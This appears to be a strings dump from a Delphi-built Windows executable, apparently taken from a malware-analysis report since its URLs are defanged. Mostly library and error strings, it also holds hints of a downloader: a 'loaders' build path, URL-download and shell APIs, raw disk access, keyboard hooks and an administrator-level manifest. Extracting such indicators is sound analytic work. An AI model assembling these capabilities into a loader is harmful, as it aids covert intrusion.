ISO_646.irv:1983

csISO16Portuguese

csISO84Portuguese2

windows-936

csShiftJIS

windows-874

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csMicrosoftPublishing

Windows-31J

csWindows31J

PTCP154

csPTCP154

windows-1250

windows-1251

windows-1252

windows-1253

windows-1254

windows-1255

windows-1256

windows-1257

windows-1258

WS2_32.DLL

MSWSOCK.DLL

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

WSARecvMsg

WSASendMsg

Wship6.dll

Fwpuclnt.dll

IdnDL.dll

Normaliz.dll

TIdSocketListWindows

TIdStackWindowsU

iphlpapi.dll

0.0.0.0

Kernel32.dll

EIdIPVersionUnsupported

127.0.0.1

C:\Delphi7\Indy10_5259\Lib\System\IdStack.pas

0123456789

!"#$%&'()* ,-./;<=>?@[\]^_`{|}~

HTTP-EQUIV

()<>@,;:\"./

()<>@,;:\"/[]?=

()<>@,;:\"/[]?={}

HTTPS

$URL$

JclBase$URL$

JCL\source\windows

Windows-1252

Uh"%F

Ph4%F

ole32.dll

comctl32.dll

UrlMon

SOFTWARE\Microsoft\Windows NT\CurrentVersion

ccIDSBinaryOperator

ccIDSTrinaryOperator

ccJoinControl

Mathematical Operators

Supplemental Mathematical Operators

Transport And Map Symbols

TRootKey

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

EJclMutexError

TJclIntfCriticalSection$URL$

TUnitVersioning$URL$

ftpTransfer

ftpReady

ftpAborted

ClientPortMin

ClientPortMax

Port

EIdPortRequiredLCG

EIdTCPConnectionError

EIdObjectTypeNotSupported

C:\Delphi7\Indy10_5259\Lib\Core\IdIOHandler.pas

"EIdTransparentProxyUDPNotSupported

TIdTCPClientCustom

TIdTCPClientCustomT

IdTCPClient

TIdTCPClient

BoundPort

%EIdSocksUDPNotSupportedBySOCKSVersion

saUsernamePassword

Password

0.0.0.1

DefaultPort

C:\Delphi7\Indy10_5259\Lib\Core\IdIOHandlerStack.pas

TIdTCPConnection

IdTCPConnection

WINDOWS

()[]<>:;.,@\"

TIdEncoder3to4.Encode: Calculated length exceeded (expected

C:\Delphi7\Indy10_5259\Lib\Protocols\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

https

HttpOnly

HTTPONLY=

HTTPONLY

C:\Delphi7\Indy10_5259\Lib\Protocols\IdZLibCompressorBase.pas

IdHTTPHeaderInfo

ProxyPassword

ProxyPort

TIdMetaHTTPEquiv

Mozilla/3.0 (compatible; Indy Library)

X-HTTP-Method-Override

%d-%d

secur32.dll

security.dll

libeay32.dll

ssleay32.dll

libssl32.dll

C:\Delphi7\Indy10_5259\Lib\Protocols\IdSSLOpenSSLHeaders.pas

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_chain_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_add_cert

X509_STORE_CTX_get_current_cert

i2d_DSAPrivateKey

d2i_DSAPrivateKey

d2i_PrivateKey

d2i_PrivateKey_bio

DES_set_key

_ossl_old_des_set_key

RSA_generate_key_ex

RSA_generate_key

RSA_check_key

i2d_PrivateKey_bio

i2d_RSAPrivateKey

d2i_RSAPrivateKey

i2d_RSAPublicKey

d2i_RSAPublicKey

i2d_PrivateKey

i2d_NETSCAPE_CERT_SEQUENCE

X509_get_default_cert_file

X509_get_default_cert_file_env

X509_set_pubkey

X509_REQ_set_pubkey

X509_PUBKEY_get

PEM_read_bio_RSAPrivateKey

PEM_read_bio_RSAPublicKey

PEM_read_bio_DSAPrivateKey

PEM_read_bio_PrivateKey

PEM_read_bio_NETSCAPE_CERT_SEQUENCE

PEM_write_bio_RSAPublicKey

PEM_write_bio_DSAPrivateKey

PEM_write_bio_PrivateKey

PEM_write_bio_NETSCAPE_CERT_SEQUENCE

PEM_write_bio_PKCS8PrivateKey

EVP_CIPHER_CTX_set_key_length

EVP_CIPHER_CTX_rand_key

EVP_PKEY_type

EVP_PKEY_new

EVP_PKEY_free

EVP_PKEY_assign

EVP_CIPHER_key_length

EVP_CIPHER_CTX_key_length

EVP_PKEY_decrypt_old

EVP_PKEY_encrypt_old

EVP_PKEY_id

EVP_PKEY_base_id

EVP_PKEY_bits

EVP_PKEY_size

EVP_PKEY_set_type

EVP_PKEY_set_type_str

EVP_PKEY_get0

EVP_PKEY_set1_RSA

EVP_PKEY_get1_RSA

EVP_PKEY_set1_DSA

EVP_PKEY_get1_DSA

EVP_PKEY_set1_DH

EVP_PKEY_get1_DH

EVP_PKEY_set1_EC_KEY

EVP_PKEY_get1_EC_KEY

d2i_PublicKey

i2d_PublicKey

d2i_AutoPrivateKey

EVP_PKEY_copy_parameters

EVP_PKEY_missing_parameters

EVP_PKEY_save_parameters

EVP_PKEY_cmp_parameters

EVP_PKEY_cmp

EVP_PKEY_print_public

EVP_PKEY_print_private

EVP_PKEY_print_params

EVP_PKEY_get_default_digest_nid

PKCS5_PBE_keyivgen

PKCS5_v2_PBE_keyivgen

EVP_PKEY_asn1_get_count

EVP_PKEY_asn1_get0

EVP_PKEY_asn1_find

EVP_PKEY_asn1_find_str

EVP_PKEY_asn1_add0

EVP_PKEY_asn1_add_alias

EVP_PKEY_asn1_get0_info

EVP_PKEY_get0_asn1

EVP_PKEY_asn1_new

EVP_PKEY_asn1_copy

EVP_PKEY_asn1_free

EVP_PKEY_asn1_set_public

EVP_PKEY_asn1_set_private

EVP_PKEY_asn1_set_param

EVP_PKEY_asn1_set_free

EVP_PKEY_asn1_set_ctrl

EVP_PKEY_meth_find

EVP_PKEY_meth_new

EVP_PKEY_meth_get0_info

EVP_PKEY_meth_copy

EVP_PKEY_meth_free

EVP_PKEY_meth_add0

EVP_PKEY_CTX_new

EVP_PKEY_CTX_new_id

EVP_PKEY_CTX_dup

EVP_PKEY_CTX_free

EVP_PKEY_CTX_ctrl

EVP_PKEY_CTX_ctrl_str

EVP_PKEY_CTX_get_operation

EVP_PKEY_CTX_set0_keygen_info

EVP_PKEY_new_mac_key

EVP_PKEY_CTX_set_data

EVP_PKEY_CTX_get_data

EVP_PKEY_CTX_get0_pkey

EVP_PKEY_CTX_get0_peerkey

EVP_PKEY_CTX_set_app_data

EVP_PKEY_CTX_get_app_data

EVP_PKEY_sign_init

EVP_PKEY_sign

EVP_PKEY_verify_init

EVP_PKEY_verify

EVP_PKEY_verify_recover_init

EVP_PKEY_verify_recover

EVP_PKEY_encrypt_init

EVP_PKEY_encrypt

EVP_PKEY_decrypt_init

EVP_PKEY_decrypt

EVP_PKEY_derive_init

EVP_PKEY_derive_set_peer

EVP_PKEY_derive

EVP_PKEY_paramgen_init

EVP_PKEY_paramgen

EVP_PKEY_keygen_init

EVP_PKEY_keygen

EVP_PKEY_CTX_set_cb

EVP_PKEY_CTX_get_cb

EVP_PKEY_CTX_get_keygen_info

EVP_PKEY_meth_set_init

EVP_PKEY_meth_set_copy

EVP_PKEY_meth_set_cleanup

EVP_PKEY_meth_set_paramgen

EVP_PKEY_meth_set_keygen

EVP_PKEY_meth_set_sign

EVP_PKEY_meth_set_verify

EVP_PKEY_meth_set_verify_recover

EVP_PKEY_meth_set_signctx

EVP_PKEY_meth_set_verifyctx

EVP_PKEY_meth_set_encrypt

EVP_PKEY_meth_set_decrypt

EVP_PKEY_meth_set_derive

EVP_PKEY_meth_set_ctrl

sslvrfFailIfNoPeerCert

AMsg

TCallbackExEvent

TPasswordEvent

TPasswordEventEx

VPassword

Certificate

RootCertFile

CertFile

KeyFile

OnGetPassword

OnGetPasswordExHWI

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

C:\Delphi7\Indy10_5259\Lib\Protocols\IdSSLOpenSSL.pas

Open SSL Support DLL Delphi and C  Builder interface

hXXp://VVV.indyproject.org/

1993 - 2014

TIdHTTPOption

hoNoParseMetaHTTPEquiv

IdHTTP

TIdHTTPOptions

TIdHTTPProtocolVersion

IdHTTP0

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

TIdHTTPResponse

TIdHTTPResponse\

TIdHTTPRequest

TIdHTTPProtocol8

TIdCustomHTTP

TIdCustomHTTP8

TIdHTTP8

TIdHTTPt

HTTPOptions

EIdHTTPProtocolException

application/x-www-form-urlencoded

HTTP/1.0 200 OK

HTTP/

%s %s

(%s%s)

-%s%s

%s-%s

%s%s-

-%s %s

%s %s-

%s -%s

(%s- %s)

(%s %s)

USER32.DLL

EInvalidGraphicOperation

windows

uxtheme.dll

MAPI32.DLL

OnKeyDown

OnKeyPressT

OnKeyUpx

RICHED32.DLL

ssHorizontal

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState4kM

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

AutoHotkeys

AutoHotkeysPiM

TKeyEvent

TKeyPressEvent

HelpKeyword

crSQLWait

%s (%s)

imm32.dll

olepro32.dll

IWebBrowser

IWebBrowserApp

IWebBrowser2

TWebBrowserStatusTextChange

TWebBrowserProgressChange

TWebBrowserCommandStateChange

TWebBrowserTitleChange

TWebBrowserPropertyChange

TWebBrowserBeforeNavigate2

TWebBrowserNewWindow2

TWebBrowserNavigateComplete2

TWebBrowserDocumentComplete

TWebBrowserOnVisible

TWebBrowserOnToolBar

TWebBrowserOnMenuBar

TWebBrowserOnStatusBar

TWebBrowserOnFullScreen

TWebBrowserOnTheaterMode

TWebBrowser

1.0.4

\\.\Scsi%d:

!"#$%&*;<=>@[]^_`{|}

OLEAUT32.DLL

<html><body><h3>Load %s Error.</h3></body></html>

shell.application

C:\GitHub5\loaders\loader\UWBX.pas

supports

Uh.yR

importNode

%s="%s"

Uh$%S

%s%s%s: %d%s%s

hXXp://VVV.w3.org/2001/XMLSchema

hXXp://VVV.w3.org/2001/XMLSchema-instance

EInterfaceRTTIException

exports

export

-%s-%s-

M%s-%s-

yyyy%smm%sdd

ENot_Supported_Err

%S is not a valid notaName value.

%S is not a valid systemId value.

%S is not a valid publicId value.

%S is not a valid XmlCharRef value.

Invalid ISO-8859-3 sequence "%s"

Invalid ISO-8859-6 sequence "%s"

Invalid ISO-8859-7 sequence "%s"

Invalid ISO-8859-8 sequence "%s"

Invalid cp10000_MacRoman sequence "%s"

Invalid Windows-1250 sequence "%s"

Invalid cp1251 sequence "%s"

Invalid Windows-1252 sequence "%s"

Not supported error.

Internal Parser Exception in TdomCMParticle.contentModelTest

Syntax error in TdomCMEntity.refersToXyz

&%S; cannot be resolved.

&%S; is an unparsed entity.

%S must not start with a UTF-16 low surrogate.

%S must not end with a UTF-16 high surrogate.

%S contains an UTF-16 high surrogate without its corresponding low surrogate.

%S contains an invalid character.

%S contains an '&' without a ';'.

%S contains an invalid reference.

&%S; refers to an unparsed entity.

B.YY]

Windows-1250

Windows-1251

Invalid UTF-8 sequence at position %d

Aborted UTF-8 sequence at position %d

Invalid UTF-8 encoding at position %d

in regel %d, positie %d

in regel %d, tussen positie %d en %d

tussen regel %d, positie %d en regel %d, positie %d

in line %d, position %d

in line %d, between position %d and %d

between line %d, position %d and line %d, position %d

la ligne %d, position %d

la ligne %d, entre la position %d et %d

entre la ligne %d, position %d et la ligne %d, position %d

in Zeile %d, Position %d

in Zeile %d, zwischen Position %d und %d

zwischen Zeile %d, Position %d und Zeile %d, Position %d

nella linea %d, posizione %d

nella linea %d, tra la posizione %d e %d

tra la linea %d, posizione %d e la linea %d, posizione %d

w linii %d, znak %d

w linii %d, pomi

dzy znakiem %d i %d

%d, znak %d i lini

%d, znak %d

en la linea %d, posici

en la linea %d, entre las posiciones %d y %d

entre la linea %d, posici

n %d y la linea %d, posici

Internal Parser Exception in TXmlDocBuilder.startElement

Uh-%X

Internal Parser Exception in TdomStandardDocBuilder.startElement

%S contains an '%' without a ';'.

%S contains an invalid parameter entity reference.

URLMON.DLL

URLDownloadToCacheFileA

hXXp://

xercesxmldom.dll

URLType

URLType8[Y

bindingKey

overviewURL

tModelKey

serviceKey

operatorpYY

DiscoveryUrl

discoveryUrl2

DiscoveryURLs

discoveryUrl

KeyedReference

keyName

keyValue

keyedReference2

keyedReference

businessKey

discoveryURLs

operator

bindingKeyx

TSQLTimeStampVariantType

TSQLTimeStampData

TSQLTimeStampDataT

SqlTimSt

ftParadoxOle

pfInKey

ImportedConstraintxxZ

LookupKeyFields

KeyFields

TSQLTimeStampField

ImportedConstraint

SQLTimeStamp

%s: %s

%s.%s

coInKey

TADSQLTimeIntervalKind

uADStanSQLTimeInt

TADSQLTimeIntervalData

TADSQLTimeIntervalData(w[

TADSQLTimeIntervalVariantType

Cannot perform operation on non initialized interval value

%u-%.2u

%u %.2u:%.2u:%.2u

%u:%.2u:%.2u

[%s] is not a valid interval

C:\FireDAC\Source\uADStanUtil.pas

delphi32.exe

\StringFileInfo\%s\FileDescription

\StringFileInfo\%s\FileVersion

\StringFileInfo\%s\LegalCopyright

\StringFileInfo\%s\Comments

C:\FireDAC\Source\uADStanStorage.pas

%sP%uY

%sP%uM

%sP%uD

%sT%uH

%sT%uM

%sT%uS%uF

%sP%uY%uM

%sP%uDT%uH

%sP%uDT%uH%uM

%sP%uDT%uH%uM%uS%uF

%sT%uH%uM

%sT%uH%uM%uS%uF

%sT%uM%uS%uF

InKey

atPLSQLTable

TADGUIxAsyncExecuteDialog

TADGUIxLoginDialog

Object factory for class %s%s is missing

Class [%s] does not implement interface [%s]

rsImportingCurent

rsImportingOriginal

rsImportingProposed

TADDatSForeignKeyConstraint

C:\FireDAC\Source\uADDatSManager.pas

ChildKeyConstraint

ParentKeyConstraint

yyyy-mm-dd hh:nn:ss.zzz

MSSQL

MYSQL

SQLITE

POSTGRESQL

MySQL

SQLite

EInvalidGridOperation

goAlwaysShowEditor

doKeyColFixed

TKeyOption

keyEdit

keyAdd

keyDelete

keyUnique

TKeyOptions

KeyName

KeyValue

KeyOptions

KeyDesc

%s=%s

ltsLeftPercent

PrintProportionalP

Monochrome

WbemScripting.SWbemLocator

S-%u-

advapi32.dll

GetProcessHeap

%d.%d

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%d: (%d, %d, %dx%d), %s

%d;%d;%d:%d;%d;%d

%s:%s

%s(%d):%.0f/%.0f

%s||%s||%s

TWebBrowserNewWindow3_URL3

bstrUrlContext

bstrUrl

TWebBrowser$:a

TWebBrowser09a

OnNewWindow3_URL

IdHTTP1

GoIdHTTP(

GoIdHTTPRedirect

GoIdHTTPWork

GoIdHTTPWorkBegin

.rMtU

.rRtZH

.rItQH

#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%<!"%$%&%(%*% %-%/%1%3%5%7%9%;$=%?%A%D%F%H%J%K%L%M%N%O%R%U%X%[%^%_%`%a%b%d%f%h%i%j%k%l%m%o%s% !,!

P%S%V%Y%\%

deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly

inflate 1.0.4 Copyright 1995-1996 Mark Adler

D.YcY

O.mi8k

)/.jj

[i.yO

-n].IE

.noJ(>

bO|%u

2\>%s

Q.iux

d:{.jx"8~

NW3%x$

.YS*1

..nn<

F.dRrj2

X.ZCI

j.id({

.Vj'<$

{i%DU

.qGn8(

%UU[

p1.vX

YmL%U

.ZGjW

u.jF0Y#

iF.Ru

.UUUUNW|

%UUBU

rP%UU|

(UT%Uv!

LP%UUhW

U\%U3

fO\%UUm

%UUeX

vU\%U

%UUUP

%UUkrk3k

I1IqIQIp%UU

%x; {cLE

(%UUeJ

%UUU'

gsÆ

3;.cp0YZ6Y

7X.hB

.PVFXht

4.zbH

T%XT'R

oZ.IZ

}t7.CXF

.QM|Rf

aTiV.hk

[.DL_

z.Jbj

Z.ZnZ

{}wk

o|.ap

Lh"%x

v4fUDP

>*X%c

6..WJ

oI2T%UU

?456789:;<=

!"#$%&'()* ,-./0123

1Hw2.Hw

333333333333333333

33333833

3333333333333338

:*"*"$3338

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

KWindows

IdStackWindows

 IdTCPServer

IdCustomTCPServer

0IdHTTPHeaderInfo

crtdll_wrapper

rSqlTimSt

TntWindows

sndkey

DISQLite3Database

gDISQLite3Api

UReportToAPI

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

BackWall.Brush.Color

BackWall.Brush.Style

Title.Text.Strings

Lines.Strings

TIdHTTP

ProxyParams.BasicAuthentication

ProxyParams.ProxyPort

Request.ContentLength

Request.ContentRangeEnd

Request.ContentRangeStart

"Request.ContentRangeInstanceLength

Request.Accept

Request.BasicAuthentication

Request.UserAgent

8Opera/9.80 (Windows NT 6.1) Presto/2.8.131 Version/11.10

Request.Ranges.Units

Request.Ranges

GoIdHTTP

@@ 334639 @

185453 480859

427037 432506

78485 30817 454136

124682 311318

237879 @

61807 278747

@ 123723 207318

@ 404764 @

318271 @

68836 155395 @

258642 @

54879 453003

249807 @

@ 340005

254181 267044

438735 @

200398 @

408826 430132 211500

@ 279206

@ 179936

GetCPInfo

CreateIoCompletionPort

RegOpenKeyExA

RegCloseKey

RegSetKeySecurity

RegQueryInfoKeyA

RegOpenKeyExW

RegFlushKey

RegEnumKeyExA

RegDeleteKeyA

RegCreateKeyExA

RegEnumKeyExW

RegCreateKeyExW

SetViewportOrgEx

SetViewportExtEx

UnloadKeyboardLayout

UnhookWindowsHookEx

SetWindowsHookExA

SetKeyboardState

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

GetKeyboardType

.idata

.rdata

P.reloc

P.rsrc

eX&Õ

=(V%Si-

.ZW@kh

_.bQ5

-L7n}

.Buu`

}-4d}

i.zi^

ID.oa

pG.NE

%sdJ&g]

*5:*{p.FS

bEa.BS

.sf/v

.GbT=

h.ZO6

.RHm"

.bd-V&

@.br%

%D.n8

>.jG%

7QW.fGXK

H1%sl

.IC:B

"4F

}-Dd}

.YTO!

n"P%sbZ

=(V%S)!h(

U*.iI

p.oE4k

$%.ws

.LYmT

-D7n}/

9N.siv|

%sjJ&g]

o.ciZei

>.caW

o|%S"

|.dO.m

.bEz'L

;.cbnz

?K%x>.M

.Kvo

Burl

%S;Lu

;.cfnz

Z.kC(

,.Ouui

{RJ.Lg

%CP^5k

.Jy^zS

.SgN@

L2M

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" />

<!-- Windows Vista -->

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

<!-- Windows 7 -->

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

<!-- Windows 8 -->

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

<!-- Windows 8.1 -->

<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>

<!-- Windows 10 -->

<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>

</application></compatibility><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false" /></requestedPrivileges></security></trustInfo></assembly>

KERNEL32.DLL

comdlg32.dll

gdi32.dll

mpr.dll

Netapi32.dll

user32.dll

version.dll

winspool.drv

*<>#%"{}|\^[]`

*<>#%"{}|\^[]`

config.dat

skin.dat

shlwapi.dll

hXXp://VVV.w3.org/2000/xmlns/

hXXp://VVV.w3.org/XML/1998/namespace

&#60;

&#38;

hXXp://VVV.w3.org/1999/XMLSchema-instance

hXXp://VVV.w3.org/2000/10/XMLSchema-instance

hXXp://VVV.w3.org/1999/XMLSchema

hXXp://VVV.w3.org/2000/10/XMLSchema

bin.base64

hXXp://schemas.xmlsoap.org/soap/encoding/

hXXp://VVV.borland.com/namespaces/Types

pathToSignedProductExe

pathToSignedReportingExe

\\.\PhysicalDrive0

.torrent

No valid DataSource: %s&FillSampleValues NumValues must be > 0*%s Angle must be between 0 and 359 degrees#DateTime Axis cannot be Logarithmic2Logarithmic Axis Min and Max values should be >= 0*Labels Separation % must be greater than 0

MaxPointsPerPage must be >= 0 3D effect percent must be between %d and %d Circular Series dependences are not allowed

%s of %s

##0.## %

#,##0.###

HVTab: Invalid number of arguments at VTabCreate. Expected [%d], got [%d](VTab: Dataset [%s] is not found or empty VTab: Operation is not supported!VTab: Savepoint [%d] is not found!VTab: Dataset modification failed/VTab: Explicit ROWID at INSERT is not supported9VTab: Dataset state was changed. Cannot perform operation"VTab: Specified row does not exist

VTab: Invalid cursor;TADLocalSQL must be attached to an active SQLite connection0VTab: DataSet [%s] is busy by another result set/Cannot perform action. DBTOOLn.DLL is not found/Top Legend Position must be between 0 and 100 %

First Legend Value must be > 0.Legend Color Width must be between 0 and 100 %%No ParentChart to validate DataSource

@Maximum length (%d) of transaction name exceeded - %d (NOE20/TX)@Too many close braces in names file after alias [%s] (NOE105/DB)0[%s] is not a callable PL/SQL object (NOE130/SP)2[%s, #%d] is not found in [%s] package (NOE134/SP)TParameter with type TABLE OF BOOLEAN/RECORD not supported (use TADQuery) (NOE135/SP)KParameter with type RECORD must be of named type (use TADQuery) (NOE142/SP))Cannot convert Oracle Number [%s] to TBcd7DBMS_PIPE event alerter supports only single event name9Cannot start a trace session, when there is an active one"Stored procedure [%s] is not founduArray-typed variable [%s] dimensions [%d] are not supported.

Only sigle dimensional simple type arrays are supportedqArray-typed variable [%s] unsupported element type [%d].

Only sigle dimensional simple type arrays are supportedCArray-typed variable [%s] item index [%d] is out of bounds [%d, %d]

Cannot describe type [%d].

%sHSQLite library initialization failed. Main code [%d], extended code [%d]/Database specified by [%p] handle was not found

 Connection parameter [%s] must be not empty|DbExpress driver configuration file [%s] is not found.

Possible reason: dbExpress is not properly installed on this machineUUnsupported MySQL version [%d].

Supported are client and server from v 3.20 to v 6.2

Port number cannot be changed&Error in parameter [%s] definition. %sFFailed to initialize embedded server.

See MySQL log files for details/Variable [%s] C data type [%d] is not supported

No cursors availableCCannot initialize OCI with character set [%s].

Possible reason: %s1Cannot assign value to BFILE/CFILE parameter [%s]HNo cursor parameters are defined. Include fiMeta into FetchOptions.Items9OCI is not properly installed on this machine (NOE1/INIT)ZUnsupported OCI library [%s] version [%s].

At least version 8.0.3 is required (NOE2/INIT)0Bad or undefined variable param type (NOE12/VAR)5Maximum length (%d) of GTRID exceeded - %d (NOE18/TX)5Maximum length (%d) of BQUAL exceeded - %d (NOE19/TX)

Class [%s] is not registered

Unknown storage format [%s]"Cannot move file [%s] to [%s].

%s!Invalid date interval format [%s]Ênnot execute host command [%s].

%s)String size must be of 1 character length.Character cannot be alphanumeric or whitespace

Invalid command [%s] syntax-ACCEPT statement must specify a variable name,DEFINE requires a value following equal sign

VARIABLE has missed right brace"VARIABLE has unsupported data typeÊnnot execute command. Not logged onlNo script commands registered.

Possible reason: uADCompScriptCommands unit is not linked to the application`No script to execute for [%s].

Possible reason: SQLScriptFileName and SQLScripts both are empty

5Bad text value [%s] format for mapping item [%s].

%s?Undefined source field or expression for destination field [%s]

Timeout expired"Cannot get access to BLOB raw datahVariable length data parameter [%s] overflow.

Value length - [%d], parameter data maximum length - [%d]PCannot perform nonblocking action, while other nonblocking action is in progress

Macro [%s] is not found7Parameter [%s] value index [%d] is out of range [0..%d]mCannot acquire item (connection) from pool.

Maximal number [%d] of simultaneous items (connections) reached.@.

To register it, you can drop component [%s] into your project>.

To register it, you can include unit [%s] into your project

Cannot read [%s] property

Cannot read [%s] object#Cannot read RAW data of [%s] object

rConnection is not defined for [%s].

Connection [%s] must be online

Table adapter [%s] cannot be assigned to [%s], because it is

already assigned to [%s] and cannot be shared across few datasets6Dataset connection does not match to called connection Table [%s] must have primary keyWLocal SQL engine misusage by [%s].

Hint: activate connection before activating dataset=Table [%s] index [%s] must be existing non-expressional index

Dataset name must be not empty?Dataset name [%s] must be unique across Local SQL [%s] datasets

Text field [%s] is not found

Destination dataset not set;Destination text data file name or stream must be specified6Source text data file name or stream must be specified=Text field [%s] size is undefined in Fixed Size Record format"Text field [%s] name is Duplicated

ADManager must be active#Connection name [%s] must be unique Connection [%s] must be inactive

Connection [%s] must be active)Connection [%s] establishment is canceled

Connection [%s] cannot be pooled.

Possible reason: connection definition is not in the ADManager.ConnectionDefs list or

TADConnection.Params has additional parameters

Connection [%s] is not found

Possible reason: [%s] ConnectionName property is misspelled or references to nonexistent connection$Command [%s] must be in active state&Command [%s] must be in inactive state*Dataset [%s] must be in cached update mode

Param [%s] type changed from [ft%s] to [ft%s]. Query must be reprepared.

Possible reason: an assignment to a TADParam.AsXXX property implicitly changed the parameter data type.

Hint: use the TADParam.Value or appropriate TADParam.AsXXX property1A meta data argument [%s] value must be specified

Expected number of parameters is [%d], but actual number is [%d].

Possible reason: a parameter was added or deletedsData too large for variable [%s]. Max len = [%d], actual len = [%d]

Hint: set the TADParam.Size to a greater value

Database [%s] does not exist

Access 2003 or earlier: hXXp://support.microsoft.com/kb/239114

Access 2007: hXXp://VVV.microsoft.com/download/en/details.aspx?displaylang=en&id=23734

Access 2010: hXXp://VVV.microsoft.com/download/en/details.aspx?id=13255{JRO.JetEngine class is missing on client machine.

Hint: install latest engine from: hXXp://support.microsoft.com/kb/239114aDatabase format is not recognized.

Possible reason: DBVersion value mismatches database version.&Specified database password is invalid

Unknown OLE error1To perform operation DriverLink must be specified To perform operation service must be activeGCannot deinstall a SQLite collation, while there are active connections?%s command %s [%d] instead of [1] record.

Possible reasons: %s<Operation cannot be performed without assigned SelectCommand

*Too many login retries. Allowed [%d] times1To perform operation driver manager, must be [%s]

Character [%s] is missed

Too long identifier (> 255)6Parameter [%s] ArraySize [%d] is less than ATimes [%d]=Cannot perform action, because previous action is in progress%Escape function [%s] is not supported8Define(mmReset) is only supported for metainfo retrieval6Cannot generate update query. WHERE condition is empty4Cannot generate update query. Update table undefined

Cannot parse object name - [%s])Syntax error in escape function [%s].

%shADPhysManager shutdown timeout.

Possible reason: application has not released all connection interfaceszParameter [%s] data type is unknown.

Hint: specify TADParam.DataType or assign TADParam value before Prepare/Execute call)Parameter [%s] data type is not supported&Column [%s] data type is not supported

Capability is not supported

Transaction [%s] must be activeCTransaction [%s] must be inactive. Nested transactions are disabled

Hint: use Execute / ExecSQL method for non-SELECT commands!Command must be is prepared state]Cannot execute command returning result sets.

Hint: use Open method for SELECT-like commands!Command must be open for fetching/Exact %s [%d] of rows, while [%d] was requested

Meta information mismatchvCannot load vendor library [%s].

%sHint: check it is in the PATH or application EXE directories, and has x86 bitness./Cannot get vendor library entry point[s].

LBookmark key fields [%s] are incompatible

with dataset [%s] key fields [%s] Record editing for dataset [%s] is disabled-Record inserting for dataset [%s] is disabled,Record deleting for dataset [%s] is disabled=Field [%s] specified within %s of DataSet [%s] does not existeCannot set dataset [%s] to offline mode.

Hint: check that FetchOptions.AutoFetchAll is not afDisable|Cannot turn off cached updates mode for DataSet [%s].

Hint: dataset has updated rows, cancel or apply updates before action.Cannot make definition [%s] circular reference7Cannot %s definition [%s]. It has associated connection!Cannot make definition persistent9Cannot load definition list, because it is already loaded$Definition [%s] is not found in [%s]"Definition name [%s] is duplicated"Driver [%s] is not registered.

%sXDriver [%s] cannot be released.

Set TADConnection.DriverName or add DriverID to your connection definition

.Arithmetic in filter expressions not supported>Operation cannot mix aggregate value with record-varying value

%s&Bookmark is not found for dataset [%s]

View [%s] is not a sorted view"Adapter interface must be suppliedUCannot set MasterSource for dataset [%s].

Nested datasets cannot have a MasterSourceMCannot set MasterSource for dataset [%s].

Circular datalinks are not alloweduCannot refresh dataset [%s].

Cannot open dataset [%s].

Hint: if that is TADMemTable, use CreateDataSet or CloneCursor to open dataset(Index [%s] is not found for dataset [%s],Aggregate [%s] is not found for dataset [%s]6Index [%s] definition is not complete for dataset [%s]:Aggregate [%s] definition is not complete for dataset [%s]7Cannot perform operation on unidirectional dataset [%s]

,Value [%s] is out of range of [%s] data typeuColumn or function [%s] is not found.

Invalid use of keyword

Invalid character found [%s]

'(' expected but [%s] found"')' or ',' expected but [%s] found

')' expected but [%s] found"IN predicate list may not be empty

Expected [%s]

'Column [%s] is not reference to row set&Cannot perform operation for row state4Cannot change updates registry for DatS manager [%s]"Too many aggregate values per view9Grouping level exceeds maximum allowed for aggregate [%s]XVariable length column [%s] overflow.

Value length - [%d], column maximum length - [%d]

Invalid foreign key [%s]

Invalid unique key [%s]#Cannot change column [%s] data type

Invalid relation [%s](Cannot create parent view. Relation [%s]7Cannot change table [%s] structure, when table has rows;Found a cascading actions loop at checking foreign key [%s]

Record is not lockedFAssigning value [%s] is not compatible with column [%s] data type.

_Fixed length column [%s] data length mismatch.

Value length - [%d], column fixed length - [%d]

Column [%s] is read only

